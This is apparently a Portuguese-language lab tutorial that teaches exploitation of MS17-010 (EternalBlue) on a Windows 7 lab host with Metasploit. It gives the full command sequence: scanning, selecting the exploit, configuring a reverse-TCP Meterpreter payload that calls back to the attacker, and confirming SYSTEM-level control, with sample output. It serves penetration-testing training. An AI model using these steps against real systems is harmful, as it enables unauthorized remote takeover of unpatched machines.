Explorar MS17-010 EternalBlue em um Alvo Windows 7 no Metasploit

Kali LinuxBeginner
Pratique Agora

Introdução

O MS17-010, conhecido publicamente como EternalBlue, é uma vulnerabilidade crítica na implementação do protocolo Server Message Block (SMB) pela Microsoft. Esta vulnerabilidade permite que atacantes remotos executem código arbitrário em sistemas afetados. O Metasploit Framework é uma poderosa ferramenta de código aberto para desenvolver, testar e executar código de exploração.

Neste laboratório, você assumirá o papel de um penetration tester. Você usará o Metasploit Framework para primeiro identificar uma máquina Windows 7 vulnerável na rede usando um módulo scanner. Em seguida, você configurará e lançará o exploit EternalBlue contra o alvo para obter controle remoto total através de uma sessão Meterpreter. Esta experiência prática demonstrará o impacto real de vulnerabilidades não corrigidas.

Para fins deste laboratório, uma máquina Windows 7 vulnerável está presente na rede no endereço IP 192.168.1.101.

Utilizar o scanner auxiliary/scanner/smb/smb_ms17_010 para encontrar alvos

Nesta etapa, você começará lançando o console Metasploit e usando um módulo scanner especializado para confirmar que nosso alvo é vulnerável ao MS17-010. Esta é uma fase crucial de reconhecimento em qualquer teste de penetração.

Primeiro, abra um terminal e inicie o console do Metasploit Framework executando o comando msfconsole. Isso pode levar um momento para carregar.

msfconsole

Assim que o console for carregado, você verá o prompt de comando do Metasploit (msf6 >). Agora, use o comando use para selecionar o módulo scanner MS17-010.

use auxiliary/scanner/smb/smb_ms17_010

Em seguida, você precisa informar ao scanner quais hosts verificar. Visualize as opções disponíveis para este módulo com o comando show options.

show options

Você verá uma lista de opções. A opção RHOSTS é obrigatória, que especifica o(s) host(s) remoto(s) a serem escaneados. Defina-a para o endereço IP da nossa máquina Windows 7 alvo.

set RHOSTS 192.168.1.101

Com o alvo definido, execute o scanner digitando run.

run

O Metasploit agora escaneará o alvo. Se o host for vulnerável, você verá uma mensagem de confirmação na saída.

[+] 192.168.1.101:445   - Host is likely VULNERABLE to MS17-010! (OS: Windows 7 Professional 7601 Service Pack 1)
[*] 192.168.1.101:445   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Esta saída confirma que o alvo em 192.168.1.101 é vulnerável e um bom candidato para o nosso exploit.

Selecionar o exploit exploit/windows/smb/ms17_010_eternalblue

Nesta etapa, com o alvo confirmado como vulnerável, você selecionará o módulo de exploit correspondente no Metasploit. O módulo ms17_010_eternalblue foi projetado para explorar essa vulnerabilidade específica.

Dentro do console Metasploit, use o comando use novamente, mas desta vez para carregar o módulo de exploit.

use exploit/windows/smb/ms17_010_eternalblue

Após executar o comando, você notará que seu prompt de comando muda para refletir o contexto do módulo de exploit recém-selecionado. Isso indica que você agora está trabalhando dentro do espaço de configuração para o exploit EternalBlue.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

Este módulo contém o código que será enviado à máquina alvo para alavancar a vulnerabilidade SMB e permitir que você execute comandos adicionais.

Definir a opção RHOSTS para o alvo Windows 7 vulnerável

Nesta etapa, você configurará o módulo de exploit para direcionar o endereço IP específico da máquina vulnerável. Enquanto o scanner poderia verificar um intervalo de IPs, o exploit deve ser direcionado a um único alvo confirmado.

Assim como com o módulo scanner, você pode visualizar as opções de configuração para o exploit usando o comando show options.

show options

Você verá que este módulo também possui uma opção RHOSTS, que significa "Remote Hosts" (Hosts Remotos). Atualmente, ela está em branco. Você deve defini-la para o endereço IP do seu alvo Windows 7, que você confirmou na primeira etapa.

Use o comando set para atribuir o endereço IP 192.168.1.101 a RHOSTS.

set RHOSTS 192.168.1.101

O Metasploit confirmará a alteração.

RHOSTS => 192.168.1.101

Agora o exploit sabe exatamente para onde direcionar o ataque.

Definir o payload windows/x64/meterpreter/reverse_tcp

Nesta etapa, você escolherá um payload. Um payload é o código que será executado no sistema alvo após o exploit comprometer com sucesso. Para este laboratório, você usará o Meterpreter, um payload avançado e dinamicamente extensível.

O payload windows/x64/meterpreter/reverse_tcp é uma excelente escolha. Ele cria uma conexão da máquina alvo de volta para você (um shell "reverso"), o que geralmente é bem-sucedido em contornar firewalls. Ele também é projetado para sistemas Windows de 64 bits.

Use o comando set payload para selecioná-lo.

set payload windows/x64/meterpreter/reverse_tcp

O Metasploit confirmará que o payload foi definido.

payload => windows/x64/meterpreter/reverse_tcp

Embora o Metasploit frequentemente selecione um payload padrão, defini-lo explicitamente garante que você esteja usando aquele mais adequado ao seu objetivo. Você pode executar show options novamente para ver as opções tanto do exploit quanto do payload. Você notará novas opções como LHOST (Listening Host - Host de Escuta) e LPORT (Listening Port - Porta de Escuta), que o Metasploit geralmente configura automaticamente para o endereço IP da sua máquina.

Executar o exploit e estabelecer uma sessão Meterpreter

Nesta etapa, com todas as opções configuradas, você lançará o exploit e assumirá o controle da máquina alvo.

Toda a preparação está feita. O exploit está selecionado, o alvo está definido e o payload foi escolhido. Para lançar o ataque, simplesmente use o comando exploit.

exploit

O Metasploit tentará explorar a vulnerabilidade no alvo. Você verá várias mensagens de status enquanto ele trabalha. Se for bem-sucedido, o exploit entregará o payload Meterpreter, e você verá uma mensagem indicando "WIN!" e que uma nova sessão foi aberta.

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Connecting to target for exploitation.
[+] 192.168.1.101:445 - Connection established for exploitation.
...
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Sending stage (200774 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:49157) at 2023-10-27 10:30:00 -0400

meterpreter >

O prompt meterpreter > significa sucesso! Agora você tem um shell remoto na máquina da vítima. Para provar seu controle, execute o comando getuid para ver com qual conta de usuário você está executando.

getuid

A saída deve ser:

Server username: NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM é o nível mais alto de privilégio em um sistema Windows. Você comprometeu com sucesso o alvo. Você também pode executar sysinfo para obter informações do sistema.

sysinfo
Computer        : WIN7-VICTIM
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows

Parabéns, você explorou com sucesso o MS17-010.

Resumo

Neste laboratório, você obteve experiência prática e direta com uma das vulnerabilidades mais conhecidas usando o Metasploit Framework.

Você com sucesso:

  • Usou um módulo scanner auxiliar para identificar um host vulnerável ao MS17-010.
  • Selecionou e configurou o módulo de exploit ms17_010_eternalblue.
  • Definiu um poderoso payload meterpreter para estabelecer uma conexão remota.
  • Executou o exploit e obteve uma sessão Meterpreter de nível SYSTEM na máquina Windows 7 alvo.

Este exercício destaca a importância crítica de patches de segurança oportunos para sistemas operacionais. Uma única vulnerabilidade não corrigida pode ser suficiente para um atacante obter controle total sobre um sistema.